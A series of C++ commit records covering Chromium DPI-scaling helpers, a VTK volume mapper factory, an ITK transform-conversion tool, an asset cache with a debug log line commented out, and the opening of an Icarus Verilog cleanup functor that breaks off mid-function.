reinterpret_cast<IsProcessDPIAwarePtr>(\n          GetProcAddress(GetModuleHandleA(\"user32.dll\"), \"IsProcessDPIAware\"));\n  if (is_process_dpi_aware_func)\n    return is_process_dpi_aware_func();\n  return FALSE;\n}\n\nfloat g_device_scale_factor = 0.0f;\n\nfloat GetUnforcedDeviceScaleFactor() {\n  return static_cast<float>(gfx::GetDPI().width()) \/\n      static_cast<float>(kDefaultDPIX);\n}\n\nfloat GetModernUIScaleWrapper() {\n  float result = 1.0f;\n  typedef float(WINAPI *GetModernUIScalePtr)(VOID);\n  HMODULE lib = LoadLibraryA(\"metro_driver.dll\");\n  if (lib) {\n    GetModernUIScalePtr func =\n        reinterpret_cast<GetModernUIScalePtr>(\n        GetProcAddress(lib, \"GetModernUIScale\"));\n    if (func)\n      result = func();\n    FreeLibrary(lib);\n  }\n  return result;\n}\n\n}  \/\/ namespace\n\nnamespace gfx {\n\nfloat GetModernUIScale() {\n  return GetModernUIScaleWrapper();\n}\n\nvoid InitDeviceScaleFactor(float scale) {\n  DCHECK_NE(0.0f, scale);\n  g_device_scale_factor = scale;\n}\n\nSize GetDPI() {\n  static int dpi_x = 0;\n  static int dpi_y = 0;\n  static bool should_initialize = true;\n\n  if (should_initialize) {\n    should_initialize = false;\n    base::win::ScopedGetDC screen_dc(NULL);\n    \/\/ This value is safe to cache for the life time of the app since the\n    \/\/ user must logout to change the DPI setting. This value also applies\n    \/\/ to all screens.\n    dpi_x = GetDeviceCaps(screen_dc, LOGPIXELSX);\n    dpi_y = GetDeviceCaps(screen_dc, LOGPIXELSY);\n  }\n  return Size(dpi_x, dpi_y);\n}\n\nfloat GetDPIScale() {\n  if (IsHighDPIEnabled()) {\n    return gfx::Display::HasForceDeviceScaleFactor() ?\n        gfx::Display::GetForcedDeviceScaleFactor() :\n        GetUnforcedDeviceScaleFactor();\n  }\n  return 1.0;\n}\n\nbool IsHighDPIEnabled() {\n  \/\/ Default is disabled.\n  if (CommandLine::ForCurrentProcess()->HasSwitch(\n      switches::kHighDPISupport)) {\n    return CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n        switches::kHighDPISupport).compare(\"1\") == 0;\n  }\n  return false;\n}\n\nbool IsInHighDPIMode() {\n  return GetDPIScale() > 1.0;\n}\n\nvoid EnableHighDPISupport() {\n  if (IsHighDPIEnabled() &&\n      (base::win::GetVersion() < base::win::VERSION_WIN8_1)) {\n    typedef BOOL(WINAPI *SetProcessDPIAwarePtr)(VOID);\n    SetProcessDPIAwarePtr set_process_dpi_aware_func =\n        reinterpret_cast<SetProcessDPIAwarePtr>(\n            GetProcAddress(GetModuleHandleA(\"user32.dll\"),\n                           \"SetProcessDPIAware\"));\n    if (set_process_dpi_aware_func)\n      set_process_dpi_aware_func();\n  }\n}\n\nnamespace win {\n\nfloat GetDeviceScaleFactor() {\n  DCHECK_NE(0.0f, g_device_scale_factor);\n  return g_device_scale_factor;\n}\n\nPoint ScreenToDIPPoint(const Point& pixel_point) {\n  static float scaling_factor =\n      GetDeviceScaleFactor() > GetUnforcedDeviceScaleFactor() ?\n      1.0f \/ GetDeviceScaleFactor() :\n      1.0f;\n  return ToFlooredPoint(ScalePoint(pixel_point,\n      scaling_factor));\n}\n\nPoint DIPToScreenPoint(const Point& dip_point) {\n  return ToFlooredPoint(ScalePoint(dip_point, GetDeviceScaleFactor()));\n}\n\nRect ScreenToDIPRect(const Rect& pixel_bounds) {\n  \/\/ TODO(kevers): Switch to non-deprecated method for float to int conversions.\n  return ToFlooredRectDeprecated(\n      ScaleRect(pixel_bounds, 1.0f \/ GetDeviceScaleFactor()));\n}\n\nRect DIPToScreenRect(const Rect& dip_bounds) {\n  \/\/ TODO(kevers): Switch to non-deprecated method for float to int conversions.\n  return ToFlooredRectDeprecated(\n      ScaleRect(dip_bounds, GetDeviceScaleFactor()));\n}\n\nSize ScreenToDIPSize(const Size& size_in_pixels) {\n  return ToFlooredSize(\n      ScaleSize(size_in_pixels, 1.0f \/ GetDeviceScaleFactor()));\n}\n\nSize DIPToScreenSize(const Size& dip_size) {\n  return ToFlooredSize(ScaleSize(dip_size, GetDeviceScaleFactor()));\n}\n\nint GetSystemMetricsInDIP(int metric) {\n  return static_cast<int>(GetSystemMetrics(metric) \/\n      GetDeviceScaleFactor() + 0.5);\n}\n\ndouble GetUndocumentedDPIScale() {\n  \/\/ TODO(girard): Remove this code when chrome is DPIAware.\n  static double scale = -1.0;\n  if (scale == -1.0) {\n    scale = 1.0;\n    if (!IsProcessDPIAwareWrapper()) {\n      base::win::RegKey key(HKEY_CURRENT_USER,\n                            L\"Control Panel\\\\Desktop\\\\WindowMetrics\",\n                            KEY_QUERY_VALUE);\n      if (key.Valid()) {\n        DWORD value = 0;\n        if (key.ReadValueDW(L\"AppliedDPI\", &value) == ERROR_SUCCESS) {\n          scale = static_cast<double>(value) \/ kDefaultDPIX;\n        }\n      }\n    }\n  }\n  return scale;\n}\n\ndouble GetUndocumentedDPITouchScale() {\n  static double scale =\n      (base::win::GetVersion() < base::win::VERSION_WIN8_1) ?\n      GetUndocumentedDPIScale() : 1.0;\n  return scale;\n}\n\n}  \/\/ namespace win\n}  \/\/ namespace gfx\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkVolumeProVG500Mapper.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-1998 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n\n#include <math.h>\n#include \"vtkVolumeProVG500Mapper.h\"\n#include \"vtkOpenGLVolumeProVG500Mapper.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkObjectFactory.h\"\n\nvtkVolumeProVG500Mapper *vtkVolumeProVG500Mapper::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkVolumeProVG500Mapper\");\n  if(ret)\n    {\n    return (vtkVolumeProVG500Mapper*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  char *temp = vtkRenderWindow::GetRenderLibrary();\n  \n#ifdef VTK_USE_OGLR\n  if (!strcmp(\"OpenGL\",temp))\n    {\n    return vtkOpenGLVolumeProVG500Mapper::New();\n    }\n#endif\n#ifdef _WIN32\n  if (!strcmp(\"Win32OpenGL\",temp))\n    {\n    return vtkOpenGLVolumeProVG500Mapper::New();\n    }\n#endif\n  \n  vtkGenericWarningMacro( << \"This mapper is only supported under OpenGL\" );\n  return new vtkVolumeProVG500Mapper;\n}\n\n\n<commit_msg>minor change<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkVolumeProVG500Mapper.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-1998 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n\n#include <math.h>\n#include \"vtkVolumeProVG500Mapper.h\"\n#include \"vtkOpenGLVolumeProVG500Mapper.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkGraphicsFactory.h\"\n\nvtkVolumeProVG500Mapper *vtkVolumeProVG500Mapper::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkVolumeProVG500Mapper\");\n  if(ret)\n    {\n    return (vtkVolumeProVG500Mapper*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  const char *temp = vtkGraphicsFactory::GetRenderLibrary();\n  \n#ifdef VTK_USE_OGLR\n  if (!strcmp(\"OpenGL\",temp))\n    {\n    return vtkOpenGLVolumeProVG500Mapper::New();\n    }\n#endif\n#ifdef _WIN32\n  if (!strcmp(\"Win32OpenGL\",temp))\n    {\n    return vtkOpenGLVolumeProVG500Mapper::New();\n    }\n#endif\n  \n  vtkGenericWarningMacro( << \"This mapper is only supported under OpenGL\" );\n  return new vtkVolumeProVG500Mapper;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Context menu on RMB-down, not up, on Linux.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <itkAffineTransform.h>\n#include <itkTransformFileWriter.h>\n#include <itkImageFileReader.h>\n#include <string>\n#include <itkPoint.h>\n#include <itkVector.h>\n#include \"transforms.h\"\n#include <sstream>\n\nvoid GetImageCenter( itk::Image<unsigned short, 3>::Pointer image,\n                     itk::Image<unsigned short, 3>::PointType & center\n                     )\n{\n  typedef itk::Image<unsigned short, 3> ImageType;\n  \/\/ Get lower corner position\n  ImageType::PointType origin;\n  origin = image->GetOrigin();\n  \/\/ Get higher corner position\n  ImageType::SizeType size;\n  size = image->GetLargestPossibleRegion().GetSize();\n  ImageType::IndexType index;\n  for( int i = 0; i < 3; i++ )\n    {\n    index[i] = size[i] - 1;\n    }\n  ImageType::PointType corner;\n  image->TransformIndexToPhysicalPoint( index, corner );\n  \/\/ Compute image center position\n  for( int i = 0; i < 3; i++ )\n    {\n    center[i] = ( corner[i] + origin[i] ) \/ 2.0;\n    }\n}\n\ntemplate <class Precision>\nint ComputeTransform(  const std::string doffile,\n                       std::string sourceFileName,\n                       const std::string targetFileName,\n                       const std::string outputFileName,\n                       bool rview_old\n                       )\n{\n  typedef itk::Image<unsigned short, 3>   ImageType;\n  typedef itk::ImageFileReader<ImageType> ImageReaderType;\n  ImageReaderType::Pointer reader = ImageReaderType::New();\n  reader->SetFileName( targetFileName.c_str() );\n  reader->UpdateOutputInformation();\n  \/\/ Get the target image information to set the center of transform\n  \/\/ to the center of the target image\n  ImageType::SpacingType spacing = reader->GetOutput()->GetSpacing();\n  ImageType::SizeType    size = reader->GetOutput()->GetLargestPossibleRegion().GetSize();\n  ImageType::PointType   origin = reader->GetOutput()->GetOrigin();\n\n  typedef itk::AffineTransform<Precision, 3> AffineTransformType;\n\/\/ After ITK_VERSION 4.5 (Acutally after June 20th, 2013) the ITK Transform\n\/\/ classes are now templated.  This requires forward declarations to be defined\n\/\/ differently.\n#if ( ( ITK_VERSION_MAJOR == 4 ) && ( ITK_VERSION_MINOR < 5 ) )\n  \/\/This is trying to use the double presion writer to write\n  \/\/a single precision transform.  This is not a robust operation\n  \/\/and was not guaranteed to work in ITK v4.4 and less with\n  \/\/all transform writer types.  I think that the .txt writer\n  \/\/would have worked, but .mat and .hdf5 should have thrown\n  \/\/an exception.\n  typedef itk::TransformFileWriter           TransformWriterType;\n  typedef itk::TransformFileWriter::Pointer  TransformWriterTypePointer;\n#else\n  \/\/ As of ITKv4.5 there are both double and single precision transform writers.\n  typedef          itk::TransformFileWriterTemplate<Precision>          TransformWriterType;\n  typedef typename itk::TransformFileWriterTemplate<Precision>::Pointer TransformWriterTypePointer;\n#endif\n  TransformWriterTypePointer twriter = TransformWriterType::New();\n  typename AffineTransformType::Pointer aff;\n  \/\/ Handle the old version of rview (the one where the dof files were in ASCII)\n  if( rview_old )\n    {\n    RViewTransform<Precision> dof = readDOFFile<Precision>( doffile );\n    aff = createITKAffine( dof,\n                           size,\n                           spacing,\n                           origin\n                           );\n    }\n  \/\/ Handle the new version of rview (where the dof files are binary\n  \/\/ files and have to be converted into txt files with dof2mat)\n  else\n    {\n    newRViewTransform<Precision> dof = readDOF2MATFile<Precision>( doffile );\n    aff = createnewITKAffine( dof,\n                              size,\n                              spacing,\n                              origin\n                              );\n    }\n  \/\/ If the source image is given, add a translation that moves\n  \/\/ the center of the target image to the center of the source image\n  if( sourceFileName.compare( \"\" ) )\n    {\n    ImageReaderType::Pointer sourceReader = ImageReaderType::New();\n    sourceReader->SetFileName( sourceFileName.c_str() );\n    sourceReader->UpdateOutputInformation();\n    ImageType::PointType targetCenter;\n    GetImageCenter( reader->GetOutput(), targetCenter );\n    ImageType::PointType sourceCenter;\n    GetImageCenter( sourceReader->GetOutput(), sourceCenter );\n    itk::Vector<Precision, 3> translation;\n    translation = sourceCenter - targetCenter;\n    translation += aff->GetTranslation();\n    aff->SetTranslation( translation );\n    }\n  twriter->AddTransform( aff );\n  twriter->SetFileName( outputFileName );\n  try\n    {\n    twriter->Update();\n    }\n  catch( ... )\n    {\n    return EXIT_FAILURE;\n    }\n  return EXIT_SUCCESS;\n}\n\nint main(int argc, char* argv[])\n{\n  typedef float  Precision;\n  typedef double doublePrecision;\n  std::string sourceFileName;\n  \/\/ Check if source is specified\n  bool sourceSet = false;\n  int  numberOfArgs = argc;\n  int  outFilePos = 3;\n  if( argc >= 6 && !strcmp( argv[3], \"-s\") )\n    {\n    sourceSet = true;\n    numberOfArgs -= 2;\n    sourceFileName.assign( argv[4] );\n    outFilePos = 5;\n    }\n  \/\/ check if old or new rview\n  bool rview_old = true;\n  int  transformTypePos = outFilePos;\n  if( argc > outFilePos + 1 )\n    {\n    std::istringstream inputType;\n    inputType.str( argv[outFilePos + 1] );\n    inputType >> rview_old;\n    if( inputType.fail() )\n      {\n      transformTypePos = outFilePos + 1;\n      }\n    else\n      {\n      numberOfArgs--;\n      transformTypePos = outFilePos + 2;\n      }\n    }\n  \/\/ Check if float or double\n  bool doubleSet = false;\n  if( argc > transformTypePos && !strcmp( argv[transformTypePos], \"-d\" ) )\n    {\n    doubleSet = true;\n    numberOfArgs--;\n    }\n\n  if( numberOfArgs != 4 )\n    {\n    std::cerr << \"Usage: \" << argv[0]\n              <<\n    \" doffile targetimagefile [-s sourceImageFileName] outputfile [inputtype] [-d (outputTransform as doubles instead of floats) ]\"\n              << std::endl;\n    std::cerr << \"with inputtype = \" << std::endl;\n    std::cerr << \"0: new rview (output txt file of dof2mat)\" << std::endl; \/\/ this was inverted\n    std::cerr << \"1: old rview\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  const std::string doffile( argv[1] );\n  const std::string targetFileName( argv[2] );\n  const std::string outputFileName( argv[outFilePos] );\n\n  if( doubleSet )\n    {\n    return ComputeTransform<doublePrecision>( doffile,\n                                              sourceFileName,\n                                              targetFileName,\n                                              outputFileName,\n                                              rview_old\n                                              );\n    }\n  else\n    {\n    return ComputeTransform<Precision>( doffile,\n                                        sourceFileName,\n                                        targetFileName,\n                                        outputFileName,\n                                        rview_old\n                                        );\n    }\n}\n<commit_msg>COMP: Fix -Wunused-but-set-variable warning in Applications\/tio.cxx<commit_after>#include <itkAffineTransform.h>\n#include <itkTransformFileWriter.h>\n#include <itkImageFileReader.h>\n#include <string>\n#include <itkPoint.h>\n#include <itkVector.h>\n#include \"transforms.h\"\n#include <sstream>\n\nvoid GetImageCenter( itk::Image<unsigned short, 3>::Pointer image,\n                     itk::Image<unsigned short, 3>::PointType & center\n                     )\n{\n  typedef itk::Image<unsigned short, 3> ImageType;\n  \/\/ Get lower corner position\n  ImageType::PointType origin;\n  origin = image->GetOrigin();\n  \/\/ Get higher corner position\n  ImageType::SizeType size;\n  size = image->GetLargestPossibleRegion().GetSize();\n  ImageType::IndexType index;\n  for( int i = 0; i < 3; i++ )\n    {\n    index[i] = size[i] - 1;\n    }\n  ImageType::PointType corner;\n  image->TransformIndexToPhysicalPoint( index, corner );\n  \/\/ Compute image center position\n  for( int i = 0; i < 3; i++ )\n    {\n    center[i] = ( corner[i] + origin[i] ) \/ 2.0;\n    }\n}\n\ntemplate <class Precision>\nint ComputeTransform(  const std::string doffile,\n                       std::string sourceFileName,\n                       const std::string targetFileName,\n                       const std::string outputFileName,\n                       bool rview_old\n                       )\n{\n  typedef itk::Image<unsigned short, 3>   ImageType;\n  typedef itk::ImageFileReader<ImageType> ImageReaderType;\n  ImageReaderType::Pointer reader = ImageReaderType::New();\n  reader->SetFileName( targetFileName.c_str() );\n  reader->UpdateOutputInformation();\n  \/\/ Get the target image information to set the center of transform\n  \/\/ to the center of the target image\n  ImageType::SpacingType spacing = reader->GetOutput()->GetSpacing();\n  ImageType::SizeType    size = reader->GetOutput()->GetLargestPossibleRegion().GetSize();\n  ImageType::PointType   origin = reader->GetOutput()->GetOrigin();\n\n  typedef itk::AffineTransform<Precision, 3> AffineTransformType;\n\/\/ After ITK_VERSION 4.5 (Acutally after June 20th, 2013) the ITK Transform\n\/\/ classes are now templated.  This requires forward declarations to be defined\n\/\/ differently.\n#if ( ( ITK_VERSION_MAJOR == 4 ) && ( ITK_VERSION_MINOR < 5 ) )\n  \/\/This is trying to use the double presion writer to write\n  \/\/a single precision transform.  This is not a robust operation\n  \/\/and was not guaranteed to work in ITK v4.4 and less with\n  \/\/all transform writer types.  I think that the .txt writer\n  \/\/would have worked, but .mat and .hdf5 should have thrown\n  \/\/an exception.\n  typedef itk::TransformFileWriter           TransformWriterType;\n  typedef itk::TransformFileWriter::Pointer  TransformWriterTypePointer;\n#else\n  \/\/ As of ITKv4.5 there are both double and single precision transform writers.\n  typedef          itk::TransformFileWriterTemplate<Precision>          TransformWriterType;\n  typedef typename itk::TransformFileWriterTemplate<Precision>::Pointer TransformWriterTypePointer;\n#endif\n  TransformWriterTypePointer twriter = TransformWriterType::New();\n  typename AffineTransformType::Pointer aff;\n  \/\/ Handle the old version of rview (the one where the dof files were in ASCII)\n  if( rview_old )\n    {\n    RViewTransform<Precision> dof = readDOFFile<Precision>( doffile );\n    aff = createITKAffine( dof,\n                           size,\n                           spacing,\n                           origin\n                           );\n    }\n  \/\/ Handle the new version of rview (where the dof files are binary\n  \/\/ files and have to be converted into txt files with dof2mat)\n  else\n    {\n    newRViewTransform<Precision> dof = readDOF2MATFile<Precision>( doffile );\n    aff = createnewITKAffine( dof,\n                              size,\n                              spacing,\n                              origin\n                              );\n    }\n  \/\/ If the source image is given, add a translation that moves\n  \/\/ the center of the target image to the center of the source image\n  if( sourceFileName.compare( \"\" ) )\n    {\n    ImageReaderType::Pointer sourceReader = ImageReaderType::New();\n    sourceReader->SetFileName( sourceFileName.c_str() );\n    sourceReader->UpdateOutputInformation();\n    ImageType::PointType targetCenter;\n    GetImageCenter( reader->GetOutput(), targetCenter );\n    ImageType::PointType sourceCenter;\n    GetImageCenter( sourceReader->GetOutput(), sourceCenter );\n    itk::Vector<Precision, 3> translation;\n    translation = sourceCenter - targetCenter;\n    translation += aff->GetTranslation();\n    aff->SetTranslation( translation );\n    }\n  twriter->AddTransform( aff );\n  twriter->SetFileName( outputFileName );\n  try\n    {\n    twriter->Update();\n    }\n  catch( ... )\n    {\n    return EXIT_FAILURE;\n    }\n  return EXIT_SUCCESS;\n}\n\nint main(int argc, char* argv[])\n{\n  typedef float  Precision;\n  typedef double doublePrecision;\n  std::string sourceFileName;\n  \/\/ Check if source is specified\n  int  numberOfArgs = argc;\n  int  outFilePos = 3;\n  if( argc >= 6 && !strcmp( argv[3], \"-s\") )\n    {\n    numberOfArgs -= 2;\n    sourceFileName.assign( argv[4] );\n    outFilePos = 5;\n    }\n  \/\/ check if old or new rview\n  bool rview_old = true;\n  int  transformTypePos = outFilePos;\n  if( argc > outFilePos + 1 )\n    {\n    std::istringstream inputType;\n    inputType.str( argv[outFilePos + 1] );\n    inputType >> rview_old;\n    if( inputType.fail() )\n      {\n      transformTypePos = outFilePos + 1;\n      }\n    else\n      {\n      numberOfArgs--;\n      transformTypePos = outFilePos + 2;\n      }\n    }\n  \/\/ Check if float or double\n  bool doubleSet = false;\n  if( argc > transformTypePos && !strcmp( argv[transformTypePos], \"-d\" ) )\n    {\n    doubleSet = true;\n    numberOfArgs--;\n    }\n\n  if( numberOfArgs != 4 )\n    {\n    std::cerr << \"Usage: \" << argv[0]\n              <<\n    \" doffile targetimagefile [-s sourceImageFileName] outputfile [inputtype] [-d (outputTransform as doubles instead of floats) ]\"\n              << std::endl;\n    std::cerr << \"with inputtype = \" << std::endl;\n    std::cerr << \"0: new rview (output txt file of dof2mat)\" << std::endl; \/\/ this was inverted\n    std::cerr << \"1: old rview\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  const std::string doffile( argv[1] );\n  const std::string targetFileName( argv[2] );\n  const std::string outputFileName( argv[outFilePos] );\n\n  if( doubleSet )\n    {\n    return ComputeTransform<doublePrecision>( doffile,\n                                              sourceFileName,\n                                              targetFileName,\n                                              outputFileName,\n                                              rview_old\n                                              );\n    }\n  else\n    {\n    return ComputeTransform<Precision>( doffile,\n                                        sourceFileName,\n                                        targetFileName,\n                                        outputFileName,\n                                        rview_old\n                                        );\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"AssetCache.h\"\n#include \"AssetAPI.h\"\n#include \"IAsset.h\"\n#include \"LoggingFunctions.h\"\n\n#include <QFileInfo>\n#include <boost\/filesystem.hpp>\n\nDEFINE_POCO_LOGGING_FUNCTIONS(\"AssetCache\")\n\nQString SanitateAssetRefForCache(QString assetRef)\n{ \n    assetRef.replace(\"\/\", \"_\");\n    assetRef.replace(\"\\\\\", \"_\");\n    assetRef.replace(\":\", \"_\");\n    assetRef.replace(\"*\", \"_\");\n    assetRef.replace(\"?\", \"_\");\n    assetRef.replace(\"\\\"\", \"_\");\n    assetRef.replace(\"'\", \"_\");\n    assetRef.replace(\"<\", \"_\");\n    assetRef.replace(\">\", \"_\");\n    assetRef.replace(\"|\", \"_\");\n    return assetRef;\n}\n\nAssetCache::AssetCache(QString assetCacheDirectory)\n:cacheDirectory(GuaranteeTrailingSlash(assetCacheDirectory))\n{\n    LogInfo(\"Using AssetCache in directory \\\"\" + assetCacheDirectory.toStdString() + \"\\\".\");\n}\n\nQString AssetCache::FindAsset(QString assetRef)\n{\n    QString fileSource = cacheDirectory + SanitateAssetRefForCache(assetRef);\n    if (QFile::exists(fileSource))\n        return fileSource;\n    else\n        return \"\";\n}\n\nQString AssetCache::FindAssetByContentHash(QString contentHash)\n{\n    \/\/\/\\todo Implement.\n    return \"\";\n}\n\nvoid AssetCache::DeleteAsset(QString assetRef)\n{\n    QString fileSource = cacheDirectory + SanitateAssetRefForCache(assetRef);\n    boost::filesystem::remove(fileSource.toStdString());\n}\n\nvoid AssetCache::ClearAssetCache()\n{\n    \/\/\/\\todo Implement.\n}\n\nQString AssetCache::StoreAsset(const u8 *data, size_t numBytes, QString assetName, QString assetContentHash)\n{\n    QString filename = cacheDirectory + SanitateAssetRefForCache(assetName);\n\n    bool success = SaveAssetFromMemoryToFile(data, numBytes, filename.toStdString().c_str());\n    if (success)\n    {\n        LogDebug(\"Saved asset \\\"\" + assetName.toStdString() + \"\\\" to cache into file \\\"\" + filename.toStdString() + \"\\\"\");\n        return filename;\n    }\n    else\n        return \"\";\n}\n\nvoid AssetCache::StoreAsset(AssetPtr asset)\n{\n    std::vector<u8> data;\n    asset->SerializeTo(data);\n    StoreAsset(&data[0], data.size(), asset->Name(), asset->ContentHash()); \/\/\/\\todo Content hash can mismatch here.\n}\n<commit_msg>Remove the saved to cache print all together, its bleeding to the console in release mode. Very annoying and seems that the cache is working well so no need to print this out imo. Add back locally if you are debugging cache stuff.<commit_after>#include \"AssetCache.h\"\n#include \"AssetAPI.h\"\n#include \"IAsset.h\"\n#include \"LoggingFunctions.h\"\n\n#include <QFileInfo>\n#include <boost\/filesystem.hpp>\n\nDEFINE_POCO_LOGGING_FUNCTIONS(\"AssetCache\")\n\nQString SanitateAssetRefForCache(QString assetRef)\n{ \n    assetRef.replace(\"\/\", \"_\");\n    assetRef.replace(\"\\\\\", \"_\");\n    assetRef.replace(\":\", \"_\");\n    assetRef.replace(\"*\", \"_\");\n    assetRef.replace(\"?\", \"_\");\n    assetRef.replace(\"\\\"\", \"_\");\n    assetRef.replace(\"'\", \"_\");\n    assetRef.replace(\"<\", \"_\");\n    assetRef.replace(\">\", \"_\");\n    assetRef.replace(\"|\", \"_\");\n    return assetRef;\n}\n\nAssetCache::AssetCache(QString assetCacheDirectory)\n:cacheDirectory(GuaranteeTrailingSlash(assetCacheDirectory))\n{\n    LogInfo(\"Using AssetCache in directory \\\"\" + assetCacheDirectory.toStdString() + \"\\\".\");\n}\n\nQString AssetCache::FindAsset(QString assetRef)\n{\n    QString fileSource = cacheDirectory + SanitateAssetRefForCache(assetRef);\n    if (QFile::exists(fileSource))\n        return fileSource;\n    else\n        return \"\";\n}\n\nQString AssetCache::FindAssetByContentHash(QString contentHash)\n{\n    \/\/\/\\todo Implement.\n    return \"\";\n}\n\nvoid AssetCache::DeleteAsset(QString assetRef)\n{\n    QString fileSource = cacheDirectory + SanitateAssetRefForCache(assetRef);\n    boost::filesystem::remove(fileSource.toStdString());\n}\n\nvoid AssetCache::ClearAssetCache()\n{\n    \/\/\/\\todo Implement.\n}\n\nQString AssetCache::StoreAsset(const u8 *data, size_t numBytes, QString assetName, QString assetContentHash)\n{\n    QString filename = cacheDirectory + SanitateAssetRefForCache(assetName);\n\n    bool success = SaveAssetFromMemoryToFile(data, numBytes, filename.toStdString().c_str());\n    if (success)\n    {\n        \/\/LogDebug(\"Saved asset \\\"\" + assetName.toStdString() + \"\\\" to cache into file \\\"\" + filename.toStdString() + \"\\\"\");\n        return filename;\n    }\n    else\n        return \"\";\n}\n\nvoid AssetCache::StoreAsset(AssetPtr asset)\n{\n    std::vector<u8> data;\n    asset->SerializeTo(data);\n    StoreAsset(&data[0], data.size(), asset->Name(), asset->ContentHash()); \/\/\/\\todo Content hash can mismatch here.\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 1999-2009 Stephen Williams (steve@icarus.com)\n *\n *    This source code is free software; you can redistribute it\n *    and\/or modify it in source code form under the terms of the GNU\n *    General Public License as published by the Free Software\n *    Foundation; either version 2 of the License, or (at your option)\n *    any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA\n *\/\n\n# include \"config.h\"\n\n\/*\n * This functor scans the design looking for dangling objects and\n * excess local signals. These deletions are not necessarily required\n * for proper functioning of anything, but they can clean up the\n * appearance of design files that are generated.\n *\/\n# include  \"functor.h\"\n# include  \"netlist.h\"\n# include  \"compiler.h\"\n\nclass nodangle_f  : public functor_t {\n    public:\n      void event(Design*des, NetEvent*ev);\n      void signal(Design*des, NetNet*sig);\n\n      unsigned iteration;\n      unsigned stotal, etotal;\n      bool scontinue, econtinue;\n      bool scomplete, ecomplete;\n};\n\nvoid nodangle_f::event(Design*des, NetEvent*ev)\n{\n      if (ecomplete) 